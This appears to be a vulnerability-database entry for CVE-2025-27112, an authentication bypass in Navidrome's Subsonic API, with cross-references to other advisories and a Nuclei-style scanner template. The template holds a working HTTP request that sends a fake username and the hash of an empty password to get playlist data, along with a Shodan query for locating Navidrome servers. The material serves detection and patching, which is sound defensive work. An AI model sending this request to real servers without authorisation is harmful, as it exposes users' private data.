| Reporter | Title | Published | Views | Family All 31 |
|---|---|---|---|---|
| Navidrome -- Authentication bypass in Subsonic API | 25 Feb 202500:00 | – | freebsd | |
| CVE-2025-27112 | 24 Feb 202519:15 | – | alpinelinux | |
| CVE-2025-27112 | 22 Feb 202517:14 | – | circl | |
| Navidrome 授权问题漏洞 | 24 Feb 202500:00 | – | cnnvd | |
| CVE-2025-27112 | 24 Feb 202518:37 | – | cve | |
| CVE-2025-27112 Navidrome has authentication bypass in Subsonic API with non-existent username | 24 Feb 202518:37 | – | cvelist | |
| EUVD-2025-5077 | 24 Feb 202518:37 | – | euvd | |
| FreeBSD : Navidrome -- Authentication bypass in Subsonic API (5ca2cafa-1f24-11f0-ab07-f8f21e52f724) | 22 Apr 202500:00 | – | nessus | |
| Navidrome allows an authentication bypass in Subsonic API with non-existent username | 25 Feb 202517:49 | – | github | |
| CVE-2025-27112 | 24 Feb 202519:15 | – | nvd |
| Source | Link |
|---|---|
| github | www.github.com/advisories/GHSA-c3p4-vm8f-386p |
id: CVE-2025-27112
info:
name: Navidrome <=0.54.5 - Authentication Bypass in Subsonic API
author: iamnoooob,rootxharsh,pdresearch
severity: medium
description: |
Navidrome is an open source web-based music collection server and streamer. Starting in version 0.52.0 and prior to version 0.54.5, in certain Subsonic API endpoints, a flaw in the authentication check process allows an attacker to specify any arbitrary username that does not exist on the system, along with a salted hash of an empty password. Under these conditions, Navidrome treats the request as authenticated, granting access to various Subsonic endpoints without requiring valid credentials. An attacker can use any non-existent username to bypass the authentication system and gain access to various read-only data in Navidrome, such as user playlists. However, any attempt to modify data fails with a "permission denied" error due to insufficient permissions, limiting the impact to unauthorized viewing of information. Version 0.54.5 contains a patch for this issue.
impact: |
Attackers can bypass authentication using non-existent usernames and empty password hashes to gain read-only access to user playlists and other data through Subsonic API endpoints.
remediation: |
Upgrade to Navidrome version 0.54.5 or later that properly validates authentication credentials.
reference:
- https://github.com/advisories/GHSA-c3p4-vm8f-386p
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2025-27112
cwe-id: CWE-287
epss-score: 0.00936
epss-percentile: 0.56489
cpe: cpe:2.3:a:navidrome:navidrome:*:*:*:*:*:go:*:*
metadata:
verified: true
max-request: 1
vendor: navidrome
product: navidrome
framework: go
shodan-query: html:"content="Navidrome""
tags: cve,cve2025,navidrome,vkev,vuln
variables:
username: "{{randstr}}"
http:
- raw:
- |
GET /rest/getPlaylists?u=FakeUser&t={{md5(username)}}&s={{username}}&v=1.16.1&c=castafiore&f=json HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
matchers:
- type: word
part: body
words:
- '"status":"ok"'
- 'navidrome'
- 'subsonic-response'
condition: and
# digest: 4a0a00473045022070be8838352c7112b976127cbe0756bba27f21383951e840dcb77e3cb58c2e7a022100bded52253ee0eb419702ad22c8a01648fc4d1705ae821391c82db788ae90446a:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation